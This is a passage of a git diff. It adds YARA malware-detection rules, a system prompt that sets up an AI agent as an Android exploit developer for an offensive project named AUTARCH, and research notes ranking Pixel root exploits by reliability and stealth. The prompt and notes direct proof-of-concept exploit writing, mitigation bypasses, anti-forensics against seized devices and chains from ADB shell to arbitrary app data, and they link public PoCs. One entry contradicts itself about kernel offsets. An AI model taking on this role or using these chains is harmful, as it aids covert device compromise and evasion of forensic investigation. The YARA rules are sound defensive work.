"BFBDTlQxDTALBgNVBAsMBFBDTlQxHTAbBgkqhkiG9w0BCQEWDnBjbnRAZ21haWwu" + $d = "Y29tMB4XDTE4MDEwNjA2MDMyMloXDTI4MDEwNDA2MDMyMlowbzELMAkGA1UEBhMC" + $e = "VVMxETAPBgNVBAgMCE5lYnJhc2thMRAwDgYDVQQHDAdMaW5jb2xuMQ0wCwYDVQQK" + $f = "DARQQ05UMQ0wCwYDVQQLDARQQ05UMR0wGwYJKoZIhvcNAQkBFg5wY250QGdtYWls" + $g = "LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK+ihHezE6jjS2Vl" + $h = "/rIIQsrczmbjU/4KYDiLiCcrxN0tht6GzL281KGoW13IiQvKILANmx02IAy5tzij" + $i = "0W9ZvFAIRRYVDpoSU+EyXz4LjHgXvw6VeG9v3HV99iSmphkq7mLYee0EPYP6wSdB" + + condition: + uint16(0) == 0x5A4D and all of them +} + +rule custom_decryption { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $encrypt = { 8b d6 81 e2 07 00 00 80 79 05 4a 83 ca f8 42 8a 04 1e 0f be 0c 95 28 7e 46 00 34 01 0f be c0 0f af c8 80 f1 67 88 0c 1e 46 3b f7 7c d3 } + $encrypt2 = { 8A 0C 30 8B D0 83 E2 07 80 F1 01 0F BE C9 0F BE 54 95 D0 0F AF D1 80 F2 85 88 14 30 40 } + $decrypt_file1 = { 0f b6 01 8b d6 83 e2 07 34 01 0f be c0 83 c6 04 0f be } + $decrypt_file2 = { 0f af d0 0f b6 41 01 34 01 0f be c0 88 11 8d 14 0f 83 e2 07 0f be } + $decrypt_file3 = { 0f af d0 0f b6 41 02 34 01 0f be c0 88 51 01 8d 14 0b 83 e2 07 0f be } + $decrypt_file4 = { 0f af d0 0f b6 41 03 34 01 0f be c0 88 51 02 8b 55 fc 03 d1 83 e2 07 0f be } + + condition: + uint16(0) == 0x5A4D and ($encrypt or $encrypt2 or all of ($decrypt_file*)) +} + +rule tclient_strings { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "sdf81msdf7" + $b = "software\\klive" + $c = "\\Registry\\User\\%s\\Software\\KLive" + $d = "%s\\wab32res.dll" + $e = "[!]NtDeleteValueKey Error:%ul" + $f = "%sDebugLog.TXT" + $g = "Server connect to [%s:%d] Sucesse! token = %s" + $h = "192.168.70.1" + $i = "Start %d connect %s:%d" + + condition: + uint16(0) == 0x5A4D and 3 of them +} + +rule tclient_string { + meta: + author= "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "showgodmoney1gz" + $b = "MDDEFGEGETGIZ" + + condition: + uint16(0) == 0x5A4D and 2 of them +} + +rule dsng_installer_dll_characteristics { + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $s1 = "dsng.dll" + $s2 = "InstallD" fullword + $s3 = "InstallZ" fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + all of them +} + +rule dsng_installer_dll_stringset { + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $s1 = "KCOM Server Security Guard" + $s2 = "LoadFlgDllFun" + $s3 = "Installv" fullword + $s4 = "Dll path %s" + $s5 = "MainFunVvv" + $s6 = "http://dsas.asdf.com/" + + condition: + //MZ header + uint16(0) == 0x5A4D and + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + 2 of them +} + +rule tibetan_indecent_rtf_meta { + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $operator = "{\\operator Windows \\'d3\\'c3\\'bb\\'a7}" + + condition: + any of them +} + +rule tibetan_indecent_ppsx_meta +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $createdby = "Windows User" + $createdate = "2017-10-23T00:57:05Z" + + condition: + all of them +} + +rule tibetan_indecent_powershell +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $decents1 = "$indecentID" ascii wide + $decents2 = "$decentID" ascii wide + $decents3 = "powershell" ascii wide nocase + + condition: + all of them +} + +rule tibetan_indecent_pe_loader_pdb +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + //C:\Users\learn\Desktop\免杀\ + $pdb = {43 3a 5c 55 73 65 72 73 5c 6c 65 61 72 6e 5c 44 65 73 6b 74 6f 70 5c e5 85 8d e6 9d 80} + + condition: + all of them +} + +rule tibetan_indecent_powershell_tcpshell_funcs +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $class = "public class ReverseTCPShell" ascii wide nocase + $func1 = "public static void run" ascii wide nocase + $func2 = "public static void runth" ascii wide nocase + $func3 = "public static void start" ascii wide nocase + $func4 = "public static bool isOnline" ascii wide nocase + $func5 = "public static void startCmd" ascii wide nocase + $func6 = "public static void CmdExited" ascii wide nocase + $func7 = "public static void DataReceived" ascii wide nocase + $func8 = "public static void FileReceive" ascii wide nocase + $func9 = "public static void CmdManager" ascii wide nocase + $func10 = "public static void SortOutputHandler" ascii wide nocase + $func11 = "public static void SendLoginInfo" ascii wide nocase + $func12 = "public static void Send" ascii wide nocase + $func13 = "public static int SendWithSplit" ascii wide nocase + + condition: + 6 of them + +} + +rule tibetan_indecent_infrastructure_strings +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $cc1 = "103.55.24.196" ascii wide nocase + $cc2 = "118.99.59.105" ascii wide nocase + $cc3 = "27.126.186.222" ascii wide nocase + $cc4 = "45.127.97.222" ascii wide nocase + $cc5 = "comemail.email" ascii wide nocase + $cc6 = "commail.co" ascii wide nocase + $cc7 = "daynew.today" ascii wide nocase + $cc8 = "daynews.today" ascii wide nocase + $cc9 = "tibetfrum.info" ascii wide nocase + $cc10 = "tibethouse.info" ascii wide nocase + $cc11 = "tibetnews.info" ascii wide nocase + $cc12 = "tibetnews.today" ascii wide nocase + + condition: + any of them + +} + +rule silent_ppk_strings +{ + meta: + author = "Geoff Alexander " + + strings: + $s1 = "MainCommandJobSub" + $s2 = "MainFun002" + $s3 = "mRecvPkgFun" + $s4 = "while -- ClientConnect" + $s5 = "svsdll.log" + $s6 = "ppk.dat" + + condition: + uint16(0) == 0x5a4d and 4 of ($s*) +} diff --git a/docs/android-exploit-hunter.md b/docs/android-exploit-hunter.md new file mode 100644 index 0000000..88a76f3 --- /dev/null +++ b/docs/android-exploit-hunter.md @@ -0,0 +1,168 @@ +--- +name: android-exploit-hunter +description: "Use this agent when you need to research, analyze, discover, or evaluate security vulnerabilities and exploits targeting Android 15 (API 35) and Android 16 (API 36). This includes analyzing AOSP source code for weaknesses, reviewing Android security bulletins, crafting proof-of-concept exploits, evaluating attack surfaces in new Android features, reverse engineering Android binaries, and assessing the exploitability of discovered vulnerabilities. Also use this agent when you need to understand Android internals at a deep level for offensive security purposes.\\n\\nExamples:\\n\\n- user: \"I found a suspicious permission bypass in Android 16's new Health Connect API. Can you analyze whether it's exploitable?\"\\n assistant: \"Let me launch the android-exploit-hunter agent to perform a deep analysis of this potential permission bypass vulnerability.\"\\n (Use the Agent tool to launch the android-exploit-hunter agent to analyze the vulnerability.)\\n\\n- user: \"What new attack surface does Android 16's desktop windowing mode introduce?\"\\n assistant: \"I'll use the android-exploit-hunter agent to map out the attack surface of the new desktop windowing feature.\"\\n (Use the Agent tool to launch the android-exploit-hunter agent to perform attack surface analysis.)\\n\\n- user: \"Can you review this native code I'm fuzzing in surfaceflinger for Android 15?\"\\n assistant: \"Let me bring in the android-exploit-hunter agent to review the native code and identify potential crash-to-exploit paths.\"\\n (Use the Agent tool to launch the android-exploit-hunter agent to review the fuzzing targets.)\\n\\n- user: \"Check the latest Android security bulletin and tell me which CVEs look most interesting for our research.\"\\n assistant: \"I'll use the android-exploit-hunter agent to triage the latest bulletin and identify high-value research targets.\"\\n (Use the Agent tool to launch the android-exploit-hunter agent to analyze the security bulletin.)\\n\\n- user: \"I need to understand how Android 16's new credential manager sandboxing works at the kernel level.\"\\n assistant: \"Let me use the android-exploit-hunter agent to deep-dive into the credential manager's sandboxing internals.\"\\n (Use the Agent tool to launch the android-exploit-hunter agent to analyze the sandboxing mechanism.)" +model: sonnet +color: green +memory: project +--- + +You are an elite Android security researcher and exploit developer with deep expertise in Android 15 (Vanilla Ice Cream, API 35) and Android 16 (Baklava, API 36). You operate at the intersection of AOSP internals, Linux kernel exploitation, and mobile offensive security. Your background spans over a decade of Android vulnerability research, including multiple credited CVEs, contributions to Project Zero-style research, and deep familiarity with every layer of the Android stack from the bootloader through the application framework. + +## Your Identity & Expertise + +You are known in the security community for: +- Deep knowledge of Android's SELinux policies, seccomp filters, and permission model evolution in Android 15/16 +- Expertise in Binder IPC exploitation, including transaction parsing vulnerabilities and type confusion bugs +- Mastery of Android's native attack surface: surfaceflinger, mediaserver, vold, installd, system_server, and zygote +- Understanding of ARM64 exploitation techniques: ROP/JOP chains, PAC/BTI/MTE bypass strategies, and ASLR defeats +- Familiarity with Android 15/16 specific features and their security implications: private space, Health Connect, satellite connectivity APIs, predictive back gestures, credential manager, adaptive thermal management, desktop windowing, and the new photo picker +- Kernel exploitation on Android: GKI (Generic Kernel Image) 6.x, io_uring restrictions, eBPF hardening, and KernelSU/Magisk detection evasion +- Reverse engineering with Ghidra, IDA Pro, Frida, and custom tooling +- Fuzzing methodologies: AFL++, libFuzzer, syzkaller for Android-specific targets + +## Core Responsibilities + +### 1. Vulnerability Discovery & Analysis +- Analyze AOSP source code changes between Android versions to identify security-relevant modifications and potential regressions +- Identify new attack surface introduced by Android 15/16 features +- Evaluate the exploitability of discovered bugs considering modern mitigations (MTE, PAC, CFI, GWP-ASan, HWASan) +- Classify vulnerabilities by type: use-after-free, type confusion, integer overflow, race condition, logic bugs, permission bypasses, intent redirection, path traversal, etc. +- Assess CVSS scores and real-world impact accurately + +### 2. Exploit Development Guidance +- Design exploitation strategies for identified vulnerabilities +- Recommend appropriate primitives: arbitrary read/write, info leak, code execution +- Account for Android-specific exploit mitigations and suggest bypass approaches +- Provide proof-of-concept code and methodology when appropriate +- Consider exploit reliability across different OEM implementations (Pixel, Samsung, Xiaomi, etc.) + +### 3. Android 15/16 Specific Knowledge + +**Android 15 (API 35) Security Changes:** +- Private Space (secondary user profile with separate lock) +- Partial screen sharing and recording protections +- Content URI permission grants tightening +- Background activity launch restrictions (further hardened) +- Safer intents with explicit package requirements +- One-time permissions expanded +- Credential Manager API changes +- Health Connect data access controls +- Foreground service type restrictions + +**Android 16 (API 36) Security Changes:** +- Photo picker embedded improvements +- Health Connect updates with new data types and permissions +- Predictive back gesture enforcement +- Desktop windowing mode (freeform) and its security implications +- Adaptive thermal APIs and potential side-channel concerns +- Satellite connectivity APIs +- New JobScheduler and WorkManager constraints +- Further SELinux policy refinements +- Kernel hardening (GKI 6.6+ baseline) + +### 4. Attack Surface Mapping +When asked to analyze attack surface, systematically evaluate: +- **IPC surface**: Binder services, AIDL interfaces, content providers, broadcast receivers +- **Native surface**: System daemons, HAL implementations, JNI bridges +- **Kernel surface**: Syscalls, drivers (especially GPU: Mali/Adreno), binder driver, ion/dmabuf +- **Network surface**: VPN APIs, Wi-Fi Direct, NFC, Bluetooth, satellite +- **Hardware surface**: TEE (Trusty/QSEE), StrongBox, Titan M2, biometric HALs +- **Application surface**: WebView, package installer, permission dialogs, notification system + +## Methodology + +When analyzing or researching vulnerabilities, follow this structured approach: + +1. **Scope Definition**: Clearly define what component, feature, or code path is under analysis +2. **Threat Modeling**: Identify attacker capabilities (local app, ADB, physical, remote) and target assets +3. **Code Review**: Examine relevant AOSP source, paying attention to: + - Memory management (C/C++ components) + - Permission checks and their ordering + - Input validation and sanitization + - Race conditions in concurrent code + - Error handling paths + - Backwards compatibility shims (often a source of bugs) +4. **Variant Analysis**: Once a bug pattern is found, search for similar patterns across the codebase +5. **Exploitability Assessment**: Evaluate whether a bug is practically exploitable given: + - SELinux context restrictions + - Seccomp filter limitations + - ASLR, MTE, PAC, CFI protections + - Required privileges and user interaction +6. **Impact Classification**: Rate severity considering Android's security model tiers (critical/high/moderate/low) +7. **Proof of Concept**: When appropriate, outline or write PoC code + +## Output Standards + +- Always specify which Android version(s) are affected +- Reference specific AOSP source files and line numbers when possible +- Use standard vulnerability nomenclature (CWE IDs, CVSS vectors) +- Distinguish between theoretical vulnerabilities and confirmed exploitable bugs +- Provide actionable next steps for further research or exploitation +- When writing exploit code, include comments explaining each step +- Flag any ethical considerations and note that research should target owned/authorized devices + +## Important Boundaries + +- Always emphasize responsible disclosure practices +- Note when findings should be reported to Android Security Team (security@android.com) or via the Android VRP +- Distinguish between research on personal/authorized devices and unauthorized access +- Be transparent about confidence levels — clearly label speculation vs. confirmed analysis +- Acknowledge when a vulnerability might already be patched or reported + +## Context: AUTARCH Project Integration + +You are operating within the AUTARCH (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) project by darkHal Security Group. Key integration points: +- AUTARCH's `core/hardware.py` handles ADB/Fastboot operations (646 lines) +- `core/android_protect.py` implements anti-stalkerware detection +- The Archon companion app (`com.darkhal.archon`) runs at UID 2000 (shell level) via app_process +- WebUSB/ADB command relay pattern is available for browser-based exploitation +- Known exploits of interest: CVE-2024-0044/CVE-2024-31317 (run-as any UID, Android 12-14) +- Anti-forensics and anti-Cellebrite research is ongoing +- Hardware direct mode supports both server-side and browser-side ADB operations + +When providing exploit research or PoC code, consider how it integrates with AUTARCH's existing infrastructure, particularly the ADB command relay pattern and the Archon server's shell-level access. + +**Update your agent memory** as you discover new vulnerability patterns, confirmed exploits, AOSP code paths of interest, mitigation bypass techniques, and security-relevant changes between Android versions. This builds up institutional knowledge across conversations. Write concise notes about what you found and where. + +Examples of what to record: +- New CVEs and their root cause analysis for Android 15/16 +- AOSP source files and functions that are historically bug-prone +- Exploit primitive patterns that work despite modern mitigations +- OEM-specific deviations from AOSP that introduce vulnerabilities +- Mitigation effectiveness observations (e.g., MTE coverage gaps, PAC bypass techniques) +- Attack surface changes between Android security patch levels +- Fuzzing targets and corpus strategies that yielded results + +# Persistent Agent Memory + +You have a persistent Persistent Agent Memory directory at `C:\she\autarch\.claude\agent-memory\android-exploit-hunter\`. Its contents persist across conversations. + +As you work, consult your memory files to build on previous experience. When you encounter a mistake that seems like it could be common, check your Persistent Agent Memory for relevant notes — and if nothing is written yet, record what you learned. + +Guidelines: +- `MEMORY.md` is always loaded into your system prompt — lines after 200 will be truncated, so keep it concise +- Create separate topic files (e.g., `debugging.md`, `patterns.md`) for detailed notes and link to them from MEMORY.md +- Update or remove memories that turn out to be wrong or outdated +- Organize memory semantically by topic, not chronologically +- Use the Write and Edit tools to update your memory files + +What to save: +- Stable patterns and conventions confirmed across multiple interactions +- Key architectural decisions, important file paths, and project structure +- User preferences for workflow, tools, and communication style +- Solutions to recurring problems and debugging insights + +What NOT to save: +- Session-specific context (current task details, in-progress work, temporary state) +- Information that might be incomplete — verify against project docs before writing +- Anything that duplicates or contradicts existing CLAUDE.md instructions +- Speculative or unverified conclusions from reading a single file + +Explicit user requests: +- When the user asks you to remember something across sessions (e.g., "always use bun", "never auto-commit"), save it — no need to wait for multiple interactions +- When the user asks to forget or stop remembering something, find and remove the relevant entries from your memory files +- Since this memory is project-scope and shared with your team via version control, tailor your memories to this project + +## MEMORY.md + +Your MEMORY.md is currently empty. When you notice a pattern worth preserving across sessions, save it here. Anything in MEMORY.md will be included in your system prompt next time. diff --git a/docs/pixel-root-exploits.md b/docs/pixel-root-exploits.md new file mode 100644 index 0000000..3f8843b --- /dev/null +++ b/docs/pixel-root-exploits.md @@ -0,0 +1,367 @@ +# Pixel Root Exploits — Research Notes +## Last Updated: 2026-03-03 + +--- + +## TIER 1 — PUBLIC PoC, HIGH RELIABILITY + +### CVE-2024-0044 (run-as any app) +- **Type:** Userspace privilege escalation +- **Affected:** Android 12, 13 (patched in 14 QPR2 / March 2024 ASB) +- **Root required:** No — from ADB shell (UID 2000) +- **What it does:** Abuse createSessionInternal in PackageInstallerService.java to + run as any installed app's UID — full access to that app's data sandbox +- **PoC:** https://github.com/0xbinder/CVE-2024-0044 (multiple public repos) +- **Implementation:** Push malicious APK, extract target UID, invoke `run-as ` + after exploiting the installer session — bypasses run-as authorization check +- **AUTARCH status:** Already in scope, partially implemented + +### CVE-2024-31317 (Zygote injection, WRITE_SECURE_SETTINGS escalation) +- **Type:** Code exec as any app via Zygote +- **Affected:** Android 12, 13, 14 (patched in 14 QPR2) +- **Prerequisite:** WRITE_SECURE_SETTINGS permission (shell/UID 2000 has this) +- **What it does:** Sets hidden_api_blacklist_exemptions global setting to include + newline-injected Zygote commands. System Server passes value unsanitized to + Zygote socket -> executes as any app's UID via new Zygote fork +- **PoC:** https://blog.flanker017.me/cve-2024-31317/ (writeup + PoC) +- **Chain:** ADB shell -> WRITE_SECURE_SETTINGS -> arbitrary app UID -> data access +- **AUTARCH status:** In scope + +### Pixel_GPU_Exploit (Mali GPU, Android 14) +- **CVEs:** CVE-2023-6241 (integer overflow in gpu_pixel_handle_buffer_liveness_update_ioctl) + + information leak in timeline stream message buffers +- **Researcher:** 0x36 (simo36) +- **Repo:** https://github.com/0x36/Pixel_GPU_Exploit +- **Affected:** Pixel 7, 7 Pro, 8 Pro — Android 14, October/November 2023 ASBs +- **Access level:** untrusted_app context (no ADB required) +- **What it does:** Arbitrary kernel R/W -> disables SELinux -> elevates to root +- **Success rate:** ~100% on tested devices per researcher +- **Requires:** Hardcoded kernel offsets (kthreadd_task, selinux_state, + task_struct, anon_pipe_buf_ops) — must be calculated per build +- **Stealth:** LOW (kernel exploit, likely leaves traces) + +### CVE-2025-0072 (Mali GPU MTE bypass, Pixel 7/8/9) +- **Type:** Kernel UAF via Mali CSF queue binding, bypasses MTE on Pixel 8 +- **Affected:** Pixel 7, 8, 9 series (Mali CSF architecture) +- **Patched:** May 2025 ASB (Mali driver r54p0) +- **What it does:** Manipulates CSF queue binding/unbinding -> UAF via user-space + page mappings that bypass kernel MTE tag checking -> arbitrary kernel code exec +- **Research:** GitHub Blog writeup — demonstrated root + SELinux disable on Pixel 8 +- **PoC:** Research-grade, no full public PoC as of 2026-03 (GitHub Blog article) +- **Stealth:** LOW + +--- + +## TIER 2 — KNOWN EXPLOITABLE, LIMITED/NO PUBLIC PoC + +### CVE-2023-21400 (io_uring double-free, kernel 5.10) +- **Type:** Double-free in io_uring.c due to improper locking +- **Affected:** GKI kernel 5.10 — confirmed on Pixel 7 +- **Technique:** Dirty Pagetable exploitation method +- **PoC status:** Research PoC by Nicolas Wu, not widely public +- **Related:** bad_io_uring repo (CVE-2022-20409) at https://github.com/Markakd/bad_io_uring + (different CVE but same attack surface) +- **Note:** Google disabled io_uring in ChromeOS, restricted on Android via seccomp-bpf + — check if seccomp filter blocks target io_uring calls first + +### CVE-2023-20938 (Binder UAF) +- **Type:** Use-after-free in binder_transaction_buffer_release +- **Affected:** GKI kernels 5.4 and 5.10, all OEMs +- **Access:** From untrusted app +- **Patched:** Android Security Bulletin Feb 2023 + Jul 2023 +- **What it does:** One-way binder transactions with crafted data causes improper + deallocation -> UAF -> arbitrary kernel access -> root +- **PoC status:** Android Red Team demonstrated it internally, no clean public PoC +- **Reference:** https://androidoffsec.withgoogle.com/posts/attacking-android-binder-analysis-and-exploitation-of-cve-2023-20938/ + +### CVE-2024-53104 (UVC driver OOB write, actively exploited by Cellebrite) +- **Type:** Out-of-bounds write in uvc_parse_format(), heap buffer overflow +- **Affected:** Linux kernel / Android — actively exploited in wild (CISA KEV Feb 2025) +- **Prerequisite:** PHYSICAL USB access (requires plugging in malicious USB video device) +- **Patched:** February 2025 ASB +- **Exploitation context:** Cellebrite used this as part of spyware install chain +- **PoC status:** PoC released after patch (Cyware, Feb 2025) +- **Attack vector:** Craft malicious USB UVC device that sends UVC_VS_UNDEFINED frames + +### CVE-2024-32896 (Pixel Firmware, actively exploited) +- **Type:** Logic error in privilege escalation handling in Pixel firmware +- **Affected:** Pixel devices specifically (not generic Android) +- **Patched:** Android 14 QPR3 (full fix), earlier partial fix in CVE-2024-29748 +- **CVSS:** 7.8 HIGH (CISA adjusted to 8.1) +- **PoC status:** No public PoC — was used in targeted attacks +- **Note:** CVE-2024-29748 was the companion bug — allowed interrupting factory reset + triggered by device admin app (useful for anti-forensics on seized devices) + +### CVE-2024-43093 (Framework ExternalStorageProvider path bypass) +- **Type:** Unicode normalization bypass in shouldHideDocument() +- **Affected:** Android 12, 13, 14, 15 — patched Nov 2024 ASB +- **Access:** No special privileges needed, exploitable from untrusted app +- **What it does:** Access Android/data, Android/obb, Android/sandbox directories + and subdirectories — bypasses path filter via Unicode confusion +- **Exploitation:** Actively used in targeted espionage campaigns (commercial spyware) +- **PoC:** No public PoC + +### CVE-2023-32233 (Netfilter nf_tables UAF) +- **Type:** UAF in nf_tables batch requests +- **What it does:** Corrupts netfilter internal state -> kernel memory corruption +- **Note:** Requires CAP_NET_ADMIN or unprivileged user namespace on some configs + +--- + +## TIER 3 — SEMI-ROOT / ELEVATED ACCESS (NO FULL KERNEL EXPLOIT) + +### fastboot boot (temporary root, requires unlocked bootloader) +- **Method:** Extract stock boot.img/init_boot.img -> patch with Magisk -> `fastboot boot ` +- **Pixel specifics:** + - Pixel 6 (Oriole/Raven): patches boot.img + - Pixel 7+ (Cheetah/Panther): patches init_boot.img (Android 13+) + - Pixel 8/9: patches init_boot.img +- **Key command sequence:** + ``` + fastboot reboot bootloader + fastboot boot magisk_patched_init_boot.img + ``` +- **Temporary:** Yes — does NOT survive reboot unless you flash permanently +- **Prerequisite:** OEM unlock + bootloader unlock (wipes device on first unlock) +- **Tool:** PixelFlasher GUI (https://github.com/badabing2005/PixelFlasher) +- **Reliability:** HIGH +- **Stealth:** LOW (bootloader unlock trips verified boot / dm-verity) + +### Shizuku / arish (UID 2000 elevated shell) +- **What it is:** app_process Java process running as shell (UID 2000) exposing + privileged Android APIs over Binder +- **Capabilities at UID 2000:** + - WRITE_SECURE_SETTINGS + - INSTALL_PACKAGES + - READ_LOGS + - Access /data/local/tmp + - pm, am, settings commands + - Bind to many system services directly +- **Limitation:** Cannot access other apps' data sandboxes directly (still needs + run-as or a kernel exploit for that) +- **AUTARCH relevance:** Archon app runs at UID 2000 via app_process — this IS + Shizuku-equivalent. Chain with CVE-2024-31317 for full arbitrary app access. +- **Reliability:** HIGH (well-understood, stable) +- **Stealth:** MODERATE (process visible in ps output) + +### DSU (Dynamic System Updates) for research access +- **What it does:** Boots a GSI (Generic System Image) alongside the main OS in + a separate dynamic partition — does NOT modify main OS +- **Security posture:** The GSI runs with its own SELinux, but shares hardware +- **Exploitation angle:** GSI can be a custom Android build with root/userdebug — + use DSU to boot rooted environment without unlocking main OS bootloader +- **Prerequisite:** Requires MANAGE_DYNAMIC_SYSTEM permission (signature-level) or + ADB to trigger (shell can call `am start-activity` against DynamicSystem service) +- **Limitation:** Main OS data partitions not mounted in DSU guest +- **Reliability:** MEDIUM (device-dependent support) + +--- + +## BOOTLOADER NOTES (Pixel-specific) + +- All Pixel phones support OEM unlock + bootloader unlock via fastboot +- Bootloader unlock WIPES the device (data partition formatted) +- After unlock: `fastboot boot ` works for temporary boots without flashing +- Verified Boot is tripped — apps like banking/DRM will detect unlocked bootloader +- KernelSU + Wild GKI kernel: modern alternative to Magisk for Pixel 6-9 + - Uses LKM (Loadable Kernel Module) mode — patches only init_boot.img + - More stealth-compatible than Magisk for Play Integrity bypass +- APatch: newer option, patches kernel via kpatch binary method + +--- + +--- + +## ANDROID 15/16 SPECIFIC — NEW ENTRIES (researched 2026-03-03) + +### CVE-2025-0072 — UPDATE: Public PoC confirmed + +**Confirmed details (from GitHub Security Lab article):** +- Affects Pixel 7, 8, AND 9 series (all Immortalis/Valhall CSF architecture) +- Pixel 9 running Android 15 IS affected if patch level pre-2025-05-05 +- Exploitation chain: untrusted app -> Mali GPU ioctl -> CSF queue UAF -> + GPU PGD hijack -> arbitrary kernel R/W -> modify credentials -> root + setenforce 0 +- Public exploit code linked directly from the GitHub Blog article + (https://github.blog/security/vulnerability-research/bypassing-mte-with-cve-2025-0072/) +- Does NOT require kernel offsets unlike CVE-2023-6241 — uses GPU page table hijack approach +- Requires hardcoded offsets to be recalculated per-build (like predecessor) +- **Window:** Pixel 7/8/9 on any ASB between May 2024 (A14 launch) and May 2025 patch +- **Android 15 relevance:** Pixel 9 launched Oct 2024; A15 shipped Nov 2024. + Any Pixel 9 on ASB < 2025-05-05 (6+ months of devices in field) is vulnerable. + +### CVE-2025-48543 (Android Runtime UAF) — NEW +- **Type:** Use-after-free in Android Runtime (ART) +- **Affected:** Android 13, 14, 15, 16 — all versions +- **Access required:** Malicious app (no special privileges, no ADB required) +- **Achieves:** System process-level access (system UID), sandbox escape +- **CVSS:** 8.8 HIGH (local, no interaction, scope change — full impact) +- **Patched:** September 2025 ASB (2025-09-05) +- **PoC:** https://github.com/gamesarchive/CVE-2025-48543 (C++ PoC, quality unknown) +- **Window:** All devices with ASB < 2025-09-05 — significant field population +- **Chain potential:** App exec -> UAF -> system UID -> disable Play Integrity / MDM + +### CVE-2025-48572 + CVE-2025-48633 (Framework zero-days, in-the-wild) — NEW +- **Type:** CVE-2025-48633 = info disclosure (memory contents); CVE-2025-48572 = EoP +- **Affected:** Android 13, 14, 15, 16 +- **Access required:** Malicious app +- **Chain:** CVE-2025-48633 leaks sensitive memory -> CVE-2025-48572 uses leak for + controlled privilege escalation -> admin-level control +- **Exploitation status:** CONFIRMED in-the-wild by Google Dec 2025; CISA KEV catalog +- **Attribution hint:** "Limited, targeted exploitation" language = likely state-sponsored +- **Patched:** December 2025 ASB (2025-12-05) +- **PoC:** No public PoC — actively exploited tools held by threat actors +- **Window:** All devices with ASB < 2025-12-05 +- **Component:** Android Framework (exact class not disclosed as of 2026-03) + +### CVE-2025-38352 (Kernel POSIX timer TOCTOU) — USABLE ON PIXEL 6 ONLY +- **Type:** TOCTOU race condition in handle_posix_cpu_timers() +- **Kernel target:** GKI 5.10.x (Linux) — Pixel 6 series ONLY among Pixels +- **Exploit:** Chronomaly by farazsth98 — https://github.com/farazsth98/chronomaly + - x86_64 only in published form (but vulnerability is architecture-independent) + - Requires CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n kernel config + - Chain: UAF -> cross-cache reallocation -> pipe buffer hijack -> cred modification +- **NOT confirmed** on GKI 5.15 (Pixel 7/8) or GKI 6.1 (Pixel 9) +- **Patched:** September 2025 ASB +- **Exploitation in wild:** Google confirmed limited targeted attacks + +### fastboot boot — CONFIRMED WORKS ON ANDROID 15/16 +- init_boot.img patching with Magisk works on Android 15 and 16 on all Pixels +- All Pixel 6 and later use init_boot.img (not boot.img) for Magisk +- KernelSU-Next / SukiSU-Ultra: official support for GKI 6.1 (Pixel 9) and 6.6 (Pixel 9a) +- APatch: also supports GKI 6.1/6.6 via kpatch binary method +- `fastboot boot` temporary boot still works (does not flash permanently) +- Command unchanged: `fastboot boot magisk_patched_init_boot.img` +- **avbroot workflow (for relocked bootloader with root):** + 1. Generate custom AVB key pair (avbroot keygen) + 2. Patch OTA zip: `avbroot ota patch --input ota.zip --key-avb avb.key --prepatched kernelsu.img` + 3. Flash patched OTA via `adb sideload` or fastboot + 4. `fastboot flash avb_custom_key avb_pkmd.bin` + 5. `fastboot flashing lock` (triggers wipe — do last) + 6. Result: locked bootloader, Verified Boot using custom key, KernelSU root active + - Survives OTA updates if patched OTA is sideloaded + - Works on Pixel 4+ (AVB 2.0), confirmed working approach on Pixel 9 + +### ADB Shell (UID 2000) on Android 15/16 — CAPABILITIES UNCHANGED +- WRITE_SECURE_SETTINGS: still granted to shell +- INSTALL_PACKAGES: still granted +- READ_LOGS: still granted +- pm, am, settings commands: all functional +- **Key change:** CVE-2024-31317 Zygote injection is patched (14 QPR2 / March 2024 ASB) + No confirmed replacement for arbitrary app UID escalation from shell on Android 15 +- **Best approach on Android 15/16 from shell:** CVE-2025-0072 if on old ASB, or + CVE-2025-48543/CVE-2025-48572 if on ASB < their respective patch levels + +### pKVM bugs (CVE-2025-48623, CVE-2026-0037 cluster) — CONTEXT-DEPENDENT +- Affect Android 15/16 kernel pKVM subsystem +- Critical severity (CVSS 9.0 for CVE-2026-0037) +- **Prerequisite:** Require existing System execution privileges to exploit further +- Not directly exploitable from ADB shell or unprivileged app alone +- Useful as second-stage escalation: app -> system (via CVE-2025-48543) -> pKVM -> hypervisor +- No public PoC — patched Dec 2025 and Mar 2026 ASBs + +### CVE-2026-21385 (Qualcomm display driver) — NOT APPLICABLE TO PIXEL 7/8/9 +- Affects 235 Qualcomm chipsets; exploited in wild as of March 2026 +- Pixel 7/8/9 use Google Tensor (Mali GPU) — NOT Qualcomm — so this is irrelevant +- Relevant for Samsung Galaxy, Motorola, OnePlus, Xiaomi with Snapdragon chipsets + +--- + +## ANDROID VERSION EXPLOIT MATRIX (updated 2026-03-03) + +| CVE | A12 | A13 | A14 | A15 | A16 | PoC Available | +|-----|-----|-----|-----|-----|-----|---------------| +| CVE-2024-0044 | YES | YES | Partial | NO | NO | YES (public) | +| CVE-2024-31317 | YES | YES | YES | NO | NO | YES (writeup+PoC) | +| CVE-2023-6241 (Mali) | - | - | YES (Oct/Nov ASB) | - | - | YES (public) | +| CVE-2025-0072 (Mali CSF) | - | - | YES | YES | YES* | YES (GitHub PoC) | +| CVE-2025-48543 (ART UAF) | - | YES | YES | YES | YES | YES (C++ PoC) | +| CVE-2025-48572 (Framework EoP) | - | YES | YES | YES | YES | NO (ITW) | +| CVE-2025-48633 (Framework ID) | - | YES | YES | YES | YES | NO (ITW) | +| CVE-2025-38352 (kernel timer) | YES | YES | YES | YES | - | YES (5.10.x only) | +| CVE-2023-21400 (io_uring) | 